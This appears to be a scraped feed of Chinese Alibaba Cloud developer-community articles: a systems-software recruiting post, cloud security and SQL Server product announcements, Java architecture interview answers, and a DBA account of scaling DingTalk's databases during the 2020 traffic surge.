        新人加入团队之后,除了常见的技术培训之外,还会为每个新人配备一个“师兄”,师兄不仅会负责传道授业解惑,还要像兄长一样,陪伴新人、保护新人,和他们一起共同成长进步。

        在工作安排上,不会一上来就给新人安排很难的工作,而是像升级打怪一样,让新人从简单的工作做起,逐渐学习并融入团队,然后承担更大的任务。

        给应届生的建议

        在今天,系统软件研发并不是一个冷门的行业,很多公司都有负责开发维护系统内核,甚至是研发全新操作系统的岗位,但是市场上系统软件研发专家仍然非常稀缺,所以这是一个很有前景的方向。

        从另一个角度看,系统软件研发的确是一个高门槛的技术领域,因此,对从业人员的素质也有一定的要求。

        这里面第一个门槛是需要有热情,愿意从事系统软件研发工作。因为很多时候工程师需要与底层软硬件打交道,需要深入理解操作系统与处理器的运作原理,这个过程是很枯燥的,如果没有热情很难坚持下来。另外,系统软件和行业软件不一样,行业软件在入职一到两周后就可能会有产出,但系统软件可能需要更长的周期,这也需要坚持下来的定力。

        其次,对应届生来说,想从事系统软件研发,需要学好计算机专业基础课程,把基本功打扎实,对于计算机硬件、处理器、操作系统、虚拟化等要熟悉它们的功能和原理。另外,需要持续学习,比如可以自学一些系统软件相关的论文和书籍,关注最新的学术进展,在这里,承刚也推荐了几本书籍,让同学们可以提前了解:

        1. 《Computer Architecture: A QuantitativeApproach》
        2. 《Systems Performance: Enterprise and theCloud》
        3. 《Understanding the Linux Kernel》
        4. 《奔跑吧 Linux内核》
        5. 《系统虚拟化 -- 原理与实现》

        另外,如果从事这个领域,还需要关注的学术会议包括:OSDI、SOSP、ASPLOS、EuroSys等。

        不过,系统软件研发并不是高不可攀,高校学生在校期间就可以参与,首先从熟悉Linux系统开始,了解系统原理后,开发一些小功能,甚至小工具和脚本,也可以提升自己对系统软件的理解。

        这一项的进阶版本就是参与系统软件的开源社区,比如Linux内核、gVisor等等,从最基本的翻译编写文档,到参与某项功能模块的开发,通过这些行动,同学们可以快速的成长。

        最后,如果对系统软件研发感兴趣,想了解如何面试,也可以看看前辈的面试经验,祝大家都能早日找到自己满意的工作~

        加入我们

        > 职位简介

        部门:蚂蚁金服-CTO线-可信原生技术部

        地点:杭州/上海

        岗位:实习开发工程师

        面向:2020.11 -2021.10 毕业的本科/研究生

        面试形式:通常是电话面试,会提前预约合适的时间哦

        投递邮箱:chenggang.qcg@antfin.com

        > Who Are We?

        我们团队承担了蚂蚁金服操作系统的研发与创新工作。我们致力于将先进的系统技术与蚂蚁的金融级业务场景相结合,不断在系统领域进行创新与落地。目前,我们的全新操作系统正在逐步服务于蚂蚁的核心业务。我们在协议栈,文件系统,虚拟化等组件上已经有了大量的自研产品。并在系统领域的顶会ASPLOS 2020上发表了论文。同时,我们在软硬件结合创新上也在持续深入。欢迎有志于从事系统技术的同学加入我们,共创辉煌。我们希望你了解操作系统,虚拟化技术,网络协议栈,文件系统等,最好有相关的项目经验。也希望你能够使用C,Go,Rust等语言熟练编程。更希望你有技术理想,对系统领域保持饥渴的好奇心,能够迅速学习新技术。

        > 领域方向

        1. 虚拟化方向:从事蚂蚁金服高安全轻量化的虚拟化技术研发。熟悉Intel X86,ARM等处理器的虚拟化技术,熟悉KVM等典型Hypervisor。有虚拟化领域的研发实践经验者优先。

        2. 操作系统研发方向:从事蚂蚁金服安全操作系统内核研发。熟悉Linux内核或其他操作系统内核。熟悉内存管理,文件系统,网络协议栈,进程调度等操作系统核心组件。有操作系统研发经验者优先。

        3. 系统安全技术方向:熟悉ARM TrustZone,AMD SEV技术,有系统安全技术的相关经验。

        4. 系统技术研究:从事系统与安全领域研究的博士研究生,发表过高水平论文,有扎实的研究成果。

        > 基础要求

        1. 熟练掌握C、golang、Rust等编程语言,有系统技术研发经验者优先;

        2. 扎实的算法及数据结构基础,对软件工程有良好的理解;

        3. 参与过Linux内核、gVisor、DPDK等开源社区者优先。

        4. 熟悉Intel X86、ARM等处理器技术与原理者优先。

        5. 有技术热情、责任感,致力于系统软件研发与创新者优先。

        3月26日,走进阿里云云栖号在线课堂,蚂蚁金服开设了【蚂蚁金服课堂】蚂蚁金服数字课堂直播间,蚂蚁金服高级算法专家温祖杰将分享蚂蚁智能客服系统的主站算法框架,包括推荐,对话,调度,体验相关的算法,重点介绍猜你想问,基于强化学习的序列推荐,知识蒸馏,机器阅读,强化学习调度等工作。

        扫描二维码即可参与直播。

        ]]>
        阿里云推6大安全解决方案 护航金融机构推进服务线上化-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 在3月24日召开的2020金融安全峰会上,为帮助客户加强安全建设,阿里云推出敏感数据保护、远程办公安全等6大专属安全解决方案,护航金融机构的基础安全以及业务安全。

        最近几年,金融机构开始加速基础设施云化,并且加速推进金融服务线上化,与此同时各类新型运营风险也开始出现。根据《中国数字金融反欺诈全景报告(2019)》,目前各类金融场景中的欺诈行为已超过 100 种,包括套现、网络贷款诈骗、刷单、中介代办、电信诈骗、薅羊毛等。

        为了保障金融企业的安全运营与业务开展,阿里云结合行业客户的业务场景,在本次峰会上推出了6大安全解决方案,其中包括:新金融安全运营体系与平台建设解决方案、敏感数据保护安全解决方案、新金融混合云安全解决方案、新金融远程办公安全解决方案、金融级实人认证解决方案、新金融业务风控与反欺诈解决方案,从基础安全和业务安全两个角度助力金融客户构建高等级安全能力。

        六大安全解决方案-final.jpg

        在基础安全建设方面,随着金融机构逐渐通过混合云来实现多个业务场景,面对全新的架构形态,实现统一安全运营管理成为共同的诉求。基于云平台基础设施的原生优势,阿里云为金融机构提供云上云下统一的安全建设方案,云安全集成了云端最广泛的威胁情报,产品即开即用易于管理,更有安全专家提供运维服务,简化了安全运维工作,大大降低了运营成本。

        在业务安全方面,随着金融零售业务逐渐下沉,信贷欺诈风险持续走高,如何最大程度的降低不良资产率,是急需解决的问题。阿里云为金融机构提供了一套完整的业务安全解决方案,及时**帮助金融机构降低资损,杜绝虚假账户和账号盗用等安全风险,提升用户体验。
        **
        阿里云已沉淀了强大的工程化能力和大项目护航能力。据了解,阿里云每天帮助全国40%的网站抵挡60亿次攻击;成功防御的大流量DDoS攻击占全国的一半以上。阿里云已经拿到了亚太权威合规资质全满贯,率先通过等保2.0合规测评,获得云安全国际认证金牌(CSA-STAR),ISO20000认证、ISO 27001 和ISO 22301等ISO全系认证。

        目前,阿里云金融行业的安全客户中,银行业Top10中占70%,保险行业Top10中占80%,证券Top10中占50%,包括上海证券交易所在内的上千家金融机构都受到阿里云高等级安全产品和服务的保驾护航。

        ]]>
        Java经典面试题整理及答案详解(九)-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 了解更多:
        Java经典面试题整理及答案详解(一)
        Java经典面试题整理及答案详解(二)
        Java经典面试题整理及答案详解(三)
        Java经典面试题整理及答案详解(四)
        Java经典面试题整理及答案详解(五)
        Java经典面试题整理及答案详解(六)
        Java经典面试题整理及答案详解(七)
        Java经典面试题整理及答案详解(八)

        本节小编整理了系统架构及项目设计相关的面试题,此类面试题往往考查的是求职者的知识面,所以大家平时要多注意积累,今天小编整理的这15个面试题大家可得掌握呦~

        1.MVC模式中,各个层级的职能划分,哪些功能写在哪块?

        所谓的MVC设计模式实际上是一种思想,虽然从整体上来说分为了三层,但实际上里面会划分了许多层。

        image.png

        比如有一个业务的完成,要分很多步,我们是把这些步骤放在业务层还是Servlet中?
        服务层是可以单独抽取出来的,你的一个项目要充分的考虑到可扩展性,那么绝对需要将业务层单独抽取出来实现RPC调用。
        一定要清楚的是控制层不负责任何数据库的操作,控制层只有一个功能就是调用业务层,业务的方法只有一个,如果业务操作要返回多个内容,那么就使用Map集合返回。
        控制层一定要处理所有的错误操作,如果不处理,你可以直接选择一个抛出,而后在整个的web.xml文件里面配置一个错误页,这个错误页只要是产生了5xx异常,就自动跳转到一个错误页上显示。

        image.png
        image.png

        只有把单机的MVC彻底弄清楚后才有可能牵扯到更多实际开发问题,而集群的开发也只是一种扩展。

        2.SSO的处理流程

        所谓单点登录用在什么场景上?

        image.png

        CAS有一个自己的流程。

        image.png

        这个流程最麻烦的就是CAS服务器的配置,因为版本区别很大,所以建议大家使用稳定版本开发。同时还需要对源代码进行大量的修改与配置才可以得来。

        3.关于读、写性能

        数据库的读、写分离。此种考虑需要根据你的实际业务需求,不能凭空设计。
        有这样一个简单的架构:
        信息的汇总表,同时为了保证查询性能,需要增加索引,但这张表平均每1秒要更新1000次,但这样就和索引产生了冲突,所以定义两张表,一张表作为更新使用,另外一张表在系统安静下来之后进行差异的备份,而后进行数据的保存。
        以上是WEB2.0以前的概念,从WEB2.0时代开始,数据量开始暴增,于是你的老板可能就要求你对系统进行大规模的升级,要求保证更新速度,要求保证实时性,要求保证数据的有效性。
        如果这个时候的设计还是围绕着传统的关系型数据库展开,那么你的设计一定是失败的。

        image.png

        4.分布式锁

        分布式锁指的是在高并发访问的情况下使用的一种技术,所谓的高并发访问就是指多个线程对象,为了保证资源的操作完成性而实现的一种技术,这样的技术可以简单的理解为锁。
        如果现在多个线程在同一个虚拟机之中,正常编写一个程序,而后这个程序里面产生了若干个线程,并且这些线程要操作同一资源。在这样的情况下,为了保证资源操作的同步最简单的处理模式就是采用synchronized关键字来完成。
        但是这样的做法只适合单JVM运行的情况,而如果现在划分到网络上。

        范例:JVM锁

        image.png
        image.png
        image.png
        image.png

        如果是多虚拟机的状态下,这样的设计就必须做出更改了。

        image.png

        5.项目的负载均衡设计

        对于项目的开发需要考虑几个核心问题:高可用(主备关系)、高并发(可以承受大并发用户访问)、分布式。真正做到这个层次的架构,你的系统平均每天的访问量不可能低于500W用户,如果没有到这个量级,基本上可以肯定用这样的架构会造成大量额外的硬件成本(云服务器等)。
        在正规的项目开发过程之中,肯定会有专业的前端开发者,这类人员会使用ES6.0标准进行前端开发,例如:JQuery、Vue.JS、React等,所以对于这部分的设计暂时不做考虑。

        image.png

        在整体的设计过程之中,就必须考虑性能的均衡,当然服务器的选择和你要使用的技术选择,也需要根据实际情况来确定,根据并发访问人数来决定你的技术架构。

        6.复杂度

        评价一个项目的好与坏,有一个最简单的标准:时间复杂度和空间复杂度。
        时间复杂度指的是你的处理逻辑非常复杂,例如:递归、循环结构复杂。复杂度直接的影响就是你的CPU的占用率高。
        空间复杂度指的是你的占用内存大,例如:在JDBC进行数据查询的时候实际上会出现一个问题,假设你的数据库里有1000W条数据,没有使用分页,那么这些记录都将加载到内存之中,所以内存占用率就会很高。假设数据会占用20G内存,你的一个服务器一定需要为上万人服务,那么这个时候占用的内存就会非常庞大,你的服务器根本就无法进行处理。
        对于空间复杂度的操作处理,是需要通过最简单的分页算法实现约定,对于时间复杂度,太复杂的逻辑运算,往往不会在一台服务器上进行,需要设计多台的开发服务器。

        7.红绿灯系统设计

        当面试公司问到这道问题,实际考虑的是你的逻辑分析能力。因为这种开发的操作从现实来看都是通过硬件模拟的,如果非要通过软件模拟,就需要准备好可能使用到的技术:
        (1)Java编写:Graphics类进行绘制开发;
        (2)WEB编写:HTML5中提供的Canvas进行编写。
        面对此类的问题一定要有一个假设前提:
        (1)是否需要有黄灯的缓冲,缓冲的变更时间;
        (2)是否需要智能调整,如果发现车流量较大,则适当延迟通过时间;
        (3)对于违规车辆的监控情况;
        (4)还可能考虑转向灯的设计。
        实现整个操作的技术环节:
        (1)定时器:Timer、TimerTask,这两个类需要时钟的支持,而且不准,如果要准确则需要使用QuartZ这个组件完成;
        (2)描述所有的灯的变化,一定需要有一个线程的同步处理机制、synchronized、使用单例实现;
        (3)既然有两组灯,就建议设计一个单独红绿灯类,这个类可以使用一些参数变化完成,例如:
        控制变量=0,表示红灯;
        控制变量=1,表示绿灯;
        控制变量=2,表示转向灯;
        控制变量=3,表示黄灯(绿灯变为转向灯);
        控制变量=4,表示黄灯(转向灯变为红灯);

        如果你现在只是希望给出一组状态,实际上就可以设置一下几位:111,可以描述7个值。
        如果要编写还需要考虑传感器问题:包括监控传感器、流量传感器。
        既然已经有了各种传感器,那么就可以再设置几个传感器:车速传感器,可以进行大数据的汇总,计算平均的车速,好为城市的交通规划做出数据的贡献。

        开发流程:
        (1)需要先实现定时进行灯的切换处理,如果你需要程序编写,如果使用无界面编写,这个输出的信息就非常麻烦了;
        (2)需要考虑监控的问题,如果只是在软件上模拟,可以设置几个坐标点,而真实的环境需要有传感器;
        (3)考虑数据的分析问题,可以对相应数据进行采集与汇总。

        8.项目中的人员安排

        任何一个技术型的公司里面都可能有若干个开发团队,每个团队的开发人数基本上就在3~6人之间,每个团队都有1个架构师(写代码),而且每一个团队对应的是一个具体的业务。在团队里面有3个开发,1个美工,这些是一个正规的开发团队的组成,所有的团队都会有项目经理存在。也要一部分公司全部请的都是架构师,这些架构师自己直接实现代码,这一类的人群技术要求是比较高的。在整个的项目里面还会有一些辅助人员:系统测试、支撑的人员,这些就属于项目的维护人员。
        如果你想要从事软件行业,那么最好的做法是不去做这些辅助的工作,而直接上手开发,这样对你日后的发展是非常有帮助的。从最初的全栈工程师,到现在强调的是开发+运维,那么以后是全员架构时代,所有的开发人员一定都是能独当一面的高手。这类人的工资很高,但对于整个企业运行来讲,这样的成本是最低的。以后的开发之路:懂架构有未来。

        9.密码加密处理

        加密往往都会存在一种解密程序。
        毒蛇出入七步之内必有解药。
        最简单的加密:
        (1)你的原始密码:abc;
        (2)加密:cba;
        如果所有的人都知道有这样的密码结构,那么就可以很轻松的破解了,可是如果你在里面追加一些内容。

        你的原始密码:abc;
        盐值:-
        新密码:c-b-a-;

        如果按照原始规则,那么现在就无法得到正确的原始密码。也就是说盐值是让整个密码看起来更加安全。
        MD5的结构特征是不可逆,但是慢慢使用的时间长了,有些人就开始找到了一些规律,为了不让这些人破解密码,那么就在生成密码的时候增加一些额外的内容,这样的内容就是盐值,这样就可以避免这些人来破坏。不同的项目使用不同的盐值来进行处理。

        10.商品秒杀设计方案

        如果要进行商品秒杀操作一定要有一个前提:预估数据量。
        小米进行抢购的时候都需要针对数据量进行预估:所有的人需要报名参加抢购;
        淘宝或京东抢购的时候发现缺少报名,原因是它们是依靠大数据分析系统得来的预估数据量;

        如果没有预估数据量,那么整个系统的先期准备就会不足。如果要进行秒杀操作,可以设计以下的流程:
        (1)用户进行秒杀的登记;
        (2)时间一到开始进行秒杀操作;
        (3)在秒杀操作的过程中需要出现一个等待界面,如果此界面刷新了则抢购失败。

        image.png

        11.日志输出

        在一般的系统开发里面,对于一些调试的数据都很少使用System.out进行输出,几乎都会配置Log4j开发包,这个开发并不复杂,你只需要配置上开发包,而后Logger类就可以使用了。
        里面分为几种级别:info()、error()、wraning(),如果出现了异常一定使用的是error()。
        之所以使用log4j输出,主要是方便进行调整。日志是我们解决问题的关键,所有的日志都应该输出到一个指定的目录之中,这样的配置都是固定的,不需要做特别的处理。
        需要的就是配置log4j、slf4j这样的开发包就可以使用日志输出了。

        12.企业项目部署

        实际的环境架构设计,必须要充分的考虑到你的业务需求以及所谓的高峰访问的情况。假如说你有一个系统,一年有10个人访问,那么就不需要去搞架构了。
        如果要进行架构设计,必须考虑以下几点:
        (1)该架构能否动态扩容;
        (2)该架构能否支撑HA机制;
        (3)该架构是否长期有效。

        image.png

        以上的集群设计是为了考虑性能平衡,但是会有一个问题存在:没有考虑到HA机制,如果考虑到高可用机制还需要追加更多的协助主机,这些主机将作为备选使用。

        13.实际的项目开发

        在实际的项目开发过程中,只有一点是确定的,就是Tomcat里面是没有数据库的。
        如果要进行实际的项目开发,往往需要有许多的子系统。现在的开发领域经常出现一个概念:微架构。这种微架构的设计是有两种开发技术:Duubo、SpringColud。
        如果要是将项目进行子系统的规划设计,所有的子系统里面包含的就是所有的业务层接口以及数据层的接口。

        image.png

        如果你做的是一些基础开发,那么对于整个的开发技术而言,你只需要一个数据库实现数据即可。当然还要考虑库表分离的问题,所有的数据库不可能无限制的让数据增长。

        14.数据库优化

        数据库本身是存储结构数据的,数据库优化指的是传统的关系型数据库操作,数据库的优化有以下几个使用原则:
        (1)需要有一个非常专业的DBA,可以根据你的服务器的配置调整你的数据库的运行环境;
        (2)数据库需要选择合适的操作系统才可以发挥优势;
        (3)保证你的查询语句不会写的特别荒唐,例如你大量的采用了多表查询,在高并发的情况下依然采用同样的方式进行;
        (4)可以将部分的数据静态化到缓存之中,例如学校、城市、姓名基本不会发生什么变化;

        如果以上的要求都做到了,数据库的操作依然很慢,那么就有可能是数据量太大的原因了,此时无论你再如何进行优化,你的数据库的操作也不可能得到质的提升,这个时候就必须做先期的项目预估,这个预估的时候就需要考虑进行库表分离的有效设计:
        (1)数据的分片保存(数据备份问题,一主多从的备份);
        (2)数据的读写分离;

        如果从程序本身的角度来讲,每一个用户的请求一定要及时的关闭好数据库的连接,不要打开过多的无效连接,以及在项目之中应该配置数据源。

        15.项目阐述

        (1)项目实际上没有大小之分,有的只是你的业务逻辑是否清楚。
        在你进行项目设计的时候应该更清楚这个项目设计的业务是否合理,可以对某一个项目进行一些头脑风暴扩充;
        (2)项目的解释必须要有一个原则:你的项目的使用环境、预估的访问人数、以及并发量;
        (3)项目的开发技术,如果是单节点的开发技术,只需要传统的技术名词;
        (4)如果你的项目设计的架构比价复杂,使用的服务节点比较多,这个时候你就需要清楚这些节点的作用、这些服务节点的安全处理你是如何进行的、节点间的数据互相同步处理;
        (5)描述这个项目之中具备有多少个模块,完成的周期;
        (6)你做了哪些项目,这些项目里面具体的业务是什么。

        更多专业知识,面试技巧就在面试一点通,持续更新中……
        感谢浏览~
        本内容来源于阿里云大学-Java面试技巧

        ]]>
        钉钉猛增40倍流量压力,阿里云的DBA们是这样应对的...-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800

        本文作者:阿里云数据库运维专家笺一、奕信

        最近,由于受新型冠状病毒感染的肺炎疫情影响,钉钉流量出现了飞跃性增长。

        自2月3日以来,钉钉持续迎来流量高峰:远超1000万家企业使用钉钉在线办公,总人数超过2亿;全国20多个省份200多个教育局启动了“课程直播”计划,涉及2万多个中小学在内的1200多万的学生。

        持续的业务增长也让钉钉出现了很多历史性时刻:
        2月5日钉钉跃居苹果免费App Store排行榜第一,霸占至今

        01.png

        2月6号钉钉上了中央电视台,钉钉CTO接受采访

        02.jpg

        此次疫情流量主要来源于钉钉远程办公和在线教育功能,从字面来看,好像只是钉钉的两个业务功能,但在钉钉内部依赖模块不下20个,主要有在消息/视频会议/直播/家校/健康打卡等业务场景。如何保障超过20个业务在如此爆发式增长下的性能和稳定性,是对钉钉后台系统、数据库系统的一个很大挑战。

        本文会从数据库DBA的视角来介绍下我们是如何打赢这场“战役”的,在这个过程中我们究竟遇到了哪些挑战,我们是如何组织我们的团队,如何思考,如何真正利用技术克服这些挑战,最后通过这场战役,我们又沉淀了哪些经验及技术。

        1、对数据库系统的挑战

        数据库是钉钉业务系统运行的强依赖,在这种类似双11的场景下,如何规划部署数据库成了稳定性中最重要的一环,但是这次的战役来的太突然,我们并没有很多时间准备,因此我们面临了非常多的困难与挑战,总结下来有以下3点:

        1、 系统所需要的容量是多少,无法预估
        以消息模块为例,在春节前,钉钉消息日常流量峰值不到千万,第一次容量评估,大家给2月3号定了个目标是日常峰值的3倍,随着2月10号开课高峰的到来,又将2月10号的目标调整为10倍,之后又因为2月17号开学季的到来,再次将目标调整为40倍。所以总容量相比日常峰值,翻了40倍!

        2 、时间紧,扩容需求众多,资源不足
        疫情流量的猛增,给系统带来的冲击不亚于每年的双11。电商会花半年时间准备双11,但这次留给我们的时间只能以小时来计。另一方面,钉钉出于成本的考虑,资源池中基本没有空余的机器,现有的资源部署密度也比较高,如何腾挪资源在较短的时间内为钉钉接近20个核心集群进行扩容是一个很大的问题。

        3、 极限场景下如何保障系统稳定性与用户体验
        在各种因素制约导致集群无法扩容且系统达已经达到瓶颈时我们能怎么办?有哪些应急手段能用? 是否存在一个平衡点,将对用户的影响降到最低?

        2、应对措施

        突然间猛增的业务流量也是对钉钉底层数据库系统,数据库团队的一次全面检验。依托于底层成熟的管控,DTS,中间件系统,数据库团队和钉钉业务团队紧密合作,通过专业的能力和成熟的产品将上述挑战一一化解。

        1 、人员合理化安排

        1)数据库团队成立疫情期间钉钉业务保障小组
        小组成员包含了数据库团队DBA/数据库内核/CORONA/TDDL/DTS/精卫/NOSQL各产品线同学。

        根据钉钉业务线进行分工,每个DBA跟进一个业务线,参与高峰期的保障,及时播报线上系统状况与水位,让重保决策人员及时了解系统的状况。对线上出现的问题紧急处理,保证问题在短时间内得到修复。对不合理的业务场景进行优化,保证已知问题只出现一次。参与系统的压测,发现潜在风险点及时修正,对系统容量不够的系统进行及时扩容,在资源满足的情况下让数据库在高峰来临之前已经具备足够的容量。

        2)数据库团队与钉钉稳定性团队紧密合作
        由于前期资源有限,需要扩容的系统众多,每个业务线owner都觉得自己的系统是最重要的,必须要优先扩容自己的数据库,甚至有些owner拉自己的领导更甚至领导的领导来找DBA提扩容需求。

        这给了DBA非常大的压力,实在是僧多肉少,无力回天,DBA也因此受了不少委屈,这时候钉钉稳定性团队主动站了出来,帮DBA分担了大量的的压力,他们将数据库的扩容需求根据业务的重要性进行优先级划分,统一扩容需求,DBA根据优先级顺序,结合业务的目标容量进行判断,在有限的资源下有条不紊的进行扩容,保证资源优先用在刀刃上,大大提升了扩容效率。

        2、 资源紧急协调

        疫情突然爆发,所有人都预期流量会增长,但涨多少谁也不知道,必须要早作准备。为了保证资源不成为系统扩容的阻力。DBA和云资源团队进行合理规划,短期内通过借用集团上云的机器,同时缩容其他BU数据库集群,凑出400台左右的机器,保证高优先级系统的扩容需求,同时协调云资源进行搬迁,在短短几天内搬迁了300多台机器到钉钉资源池,保证了钉钉所有数据库的扩容需求。

        资源到位后就是检验数据库弹性的时候了,依托于PolarDB-X 三节点分布式的部署架构,我们可以较为方便的对原有集群进行在线升级和扩容,对用户影响很低,并保证数据的一致性。有些场景用户需要从原有集群将数据迁移到分库分表更多的新集群,我们利用DTS搭配成熟的管控平台也能较为流畅的完成。最终我们可以做到只要有资源,数据库也能具有极致的弹性,满足业务需求。

        3 、应急与优化

        在系统高峰来临之前,数据库团队内部已经准备好紧急预案:
        参数降级,调整数据库参数充分发挥数据库能力,提高吞吐

        资源降级,调整资源限制,CPU隔离放开及数据库BP大小紧急上调

        针对异常SQL,确认影响后紧急限流,或者 通过SQL Execute Plan Profile 进行紧急干预

        全集群流量备库分流,依据压力情况最大可 100% 读流量切换到备库

        准备数据库弱一致脚本,在必要时进一步提高数据库吞吐

        同时结合业务的限流/降级预案保证了很多数据库系统在未知高峰流量到来时的稳定运行。

        但业务限流降低了很多用户的体验,之前业务限流值设置为30QPM/群,表示为每个群在一分钟之内只能发送30条消息,很多时候在1分种的前20s甚至更短时间就已经发出30条消息,在剩下时间40s以上时间用户的体验就是无法使用钉钉,针对这种情况DBA建议减小限流窗口,将限流值30QPM改成30/20S,限流降低了97%,大大改善了用户的体验。

        (红色曲线是限流量)
        03.png

        4 、DB容量预估及性能分析

        业务上往往通过集群的CPU情况即可大概分析出系统的水位,但是对DB而言不仅是CPU,IO,网络,SQL,锁等等,任何一个组件的瓶颈往往都会成为最终容量的瓶颈。不同的业务模型,往往瓶颈都不一样,即使都是查询量较大的业务,有些可能是cpu的瓶颈,有些可能是内存命中率不够导致的瓶颈,有些则是索引设计不合理导致的瓶颈。更复杂的部分在于,有些瓶颈往往不是线性的,可能压力提升2倍还没什么问题,硬件能力都还有富余,但是提升到3倍就直接挂了。在这种场景下我们如何比较准确的评估DB的容量呢?

        以往我们都是通过经验并和业务方一起进行全链路压测进行DB容量(集群能支撑多少读写)的预估,这种方式有以下几个问题:

        压测数据集和数据库总量相比往往比较小,DB命中率基本100%,这对于分析有IO的业务模型存在较大误差

        成本较大,需要打通上下游整个链路,较多的同学参与

        即使全链路压测,真正压到DB端的往往也只是核心的几个接口,无法100%覆盖线上所有的接口,而很多慢SQL往往都来自这些易忽略的接口

        解决这个痛点问题的方法大家其实很容易想到--只要把线上的业务流量全部采集下来回放一遍即可,但实现起来是非常复杂的。我们真正需要的其实是针对DB的一种通用的单链路压测能力,并不依赖上游业务,DB层可以自己进行流量的生成,放大或缩小,甚至将事务比例更改后再次压测的能力。

        从2019年开始,在DBA和达摩院数据库实验室科学家们共同的努力下,我们开发了ClouDBench实现了上述的需求,并在此次的战役中帮助DBA进行容量的评估。

        先展示下效果:
        04.png

        蓝色是真实业务在某个时刻的性能曲线,绿色是我们采集DB端流量回放出来的性能曲线,可以看出两条曲线在时序上高度拟合,特别是InnoDB内部的指标都非常接近,包括流量的波动。

        当我们能够比较真实的回放出业务的workload,我们即可以对压力进行放大,以此来分析DB的容量,并分析出极限场景下的性能瓶颈,从而进行DB的优化及验证优化效果。

        ClouDBench目前已经在共有云数据库自治服务Database Autonomy Service(DAS)中灰度上线,我们会在后续的文章中详细介绍下ClouDBench的实现,敬请期待。

        3、成果及思考

        在2月17号第三波高峰时,钉钉各系统稳定运行,2月18号开始,我们从之前的全员重保变成日常维护,为什么我们有这个信心,因为我们对所有系统的数据库都进行了扩容和优化,具有远超当前系统容量的能力。

        短短两周内各数据库系统具备了数倍到40倍以上的能力,其中不乏超大型数据库集群,存储空间超过1PB。所有这些都充分证明了阿里云数据库的弹性能力,通过管控/DTS/CORONA各产品的完美配合,使阿里云数据库在疫情洪峰流量面前战无不胜。

        此次疫情带来的爆发式流量对我们来说是毫无防备的,经历过此役,我们学会了很多,如果再次面临这样的问题,我们将游刃有余。经验总结下来有以下几点:

        1、人员组织:

        首先在人员组织上,业务和开发要对突发流量具备明锐的嗅觉,及时发现提早准备,由业务方稳定性负责人成立应急小组,梳理依赖业务以及对应后台系统,将各业务线owner和后台数据库产品owner纳入应急小组。由应急小组统一容量规划、人力配备以及资源协调,实现业务方/后台产品团队/资源团队联动。

        2、技术架构:

        在技术架构上,一方面是要使用具有足够弹性的数据库产品,保证使用的数据库产品有自由扩容和缩容的能力,既要保证流量来了之后能扩上去,也要保证日常流量时可以缩下来。管控等各个运维组件需要在实现自动化运维的同时,对于很多关键操作留有应急开关,确保在一些极端场景下,可以较方便的从自动驾驶切换成手动模式,确保任务平稳高效的运行下去。

        3、应急手段:

        在面对系统瓶劲时,在业务上和数据库产品上都要提前做好预案,在业务上要有降级和限流功能,在系统无法承受压力时,可以降级一部分非核心功能,限制一些次核心功能来保核心业务的正常运行。在数据库产品上需要具有在不扩容的情况下,通过一些优化手段瞬间提升数据库吞吐的能力,更重要的是这些能力需要有较好的兼容性,在不同的部署环境,不同的DB架构下都具有相应的工具和预案。

        另一方面,我们需要有评估和检测预案效果的手段,我们现在可以利用ClouDBench对DB进行容量的分析和预测,但是当前的使用成本还是过高,后续ClouDBench需要更加自动化,降低使用成本,将能力透传给业务的owner,在大促之前,自动进行大量的DB单链路压测,评估系统水位,发现性能瓶颈,优化DB参数,验证预案效果。

        最后祝福钉三多在阿里云数据库的支撑下飞的更高飞的更远!

        ]]>
        企业级数据库最佳选择!阿里云云数据库SQL Server 2019新版本重磅发布 !-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 阿里云云数据库SQL Server 2019版正式上线!

        戳我观看直播
        查看新版详情,更有限时4折优惠
        新版本亮点详情

        SQL.jpg

        2020年3月26日,阿里云云数据库SQL Server 2019版正式上线,并随之发布共享型规格族及云数据库SQL Server专属集群两个产品形态。企业客户的数据库上云有了更多选择。

        1、赋予企业更多可能,云数据库SQL Server2019版发布

        云数据库SQL Server 2019标准版正式在阿里云上线,带来了更多新的体验。SQL Server 2019版本提供了大数据群集新特性,更高引擎性能及安全、可用性等数据库能力的增强。

        云数据库SQL Server 2019版本又进一步基于云平台,提供了在高可用、高安全、高性能及轻运维的全套数据库解决方案,为客户的业务场景带来引擎能力和运维能力的全面提升。除了既有实例的升级,云数据库SQL Server2019版也可更好地支撑机器学习、人工智能等新兴领域的数据库应用。

        image.png

        2、共享型规格族上线,正版又便宜

        云数据库SQL Server标准版系列全新发布共享型规格族,相比早期的独享型规格族,有超过50%的费用下降,进一步降低企业上云成本。

        共享型实例独享被分配的内存资源,通过阿里云数据库的规模红利效应,实例CPU部分复用同一宿主物理机上的CPU资源,从而进一步提升性价比。共享型实例具备主从高可用架构,使得用户在更多普适性场景上,有了一种兼具高可用和低成本的更优化选择。

        image.png

        3、云数据库SQL Server专属集群——客户专属的RDS SQL Server集群云

        云数据库SQL Server全新专属集群形态上线,为企业级客户提供了无缝上云的选择。在专属集群形态下,客户独享集群资源池内所有物理机的资源,可在主机上自由灵活分配资源。通过对不同业务需求、实例不同使用特性,进行一定程度的实例资源超分配,降低单实例成本。

        在新的产品形态下,客户专属云数据库 SQL Server集群云,不仅享有云数据库完整的数据库能力,同时在集群维度能享用云数据库规模化、自动化的调度策略,未来我们还将进一步开放集群内的权限体系,使得企业客户在上云时,保留自有运维习惯和体系的同时,也能感受到云数据库带来的能力提升。

        image.png

        阿里云数据库SQL Server产品专家许鸿斌(花名:洛霄)表示,满足企业运维管理需求的同时,通过云计算能力为业务带来新的提升,始终是云数据库产品追求的价值。

        云数据库SQL Server自2012年上线以来,砥砺前行,帮助诸多企业客户实现数据库上云的转型和提升。未来云数据库SQL Server也将始终依旧致力于为用户提供正版、高性价比、稳定又可靠的云数据库服务。

        ]]>
        2020必备Java工程师面试宝典|120道经典面试题解析+10篇面试技巧-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 网上Java面试考点众多,看的人眼花缭乱有没有?小编今天已经按照分类整理好了Java面试的知识点集锦及面试精华文章,就等你慢慢享用啦~

        Java常见面试题系列

        Java常见面试题:评论回复表设计
        Java常见面试题:高并发处理包
        Java常见面试题:方法变量与同步
        Java常见面试题:线程池
        Java常见面试题:泛型中“T”与“?”的区别
        Java常见面试题:泛型通配符问题
        Java常见面试题:多线程同步处理
        Java常见面试题:多对多关系
        Java常见面试题:对象引用
        Java常见面试题:default关键字
        Java常见面试题:BinaryTree
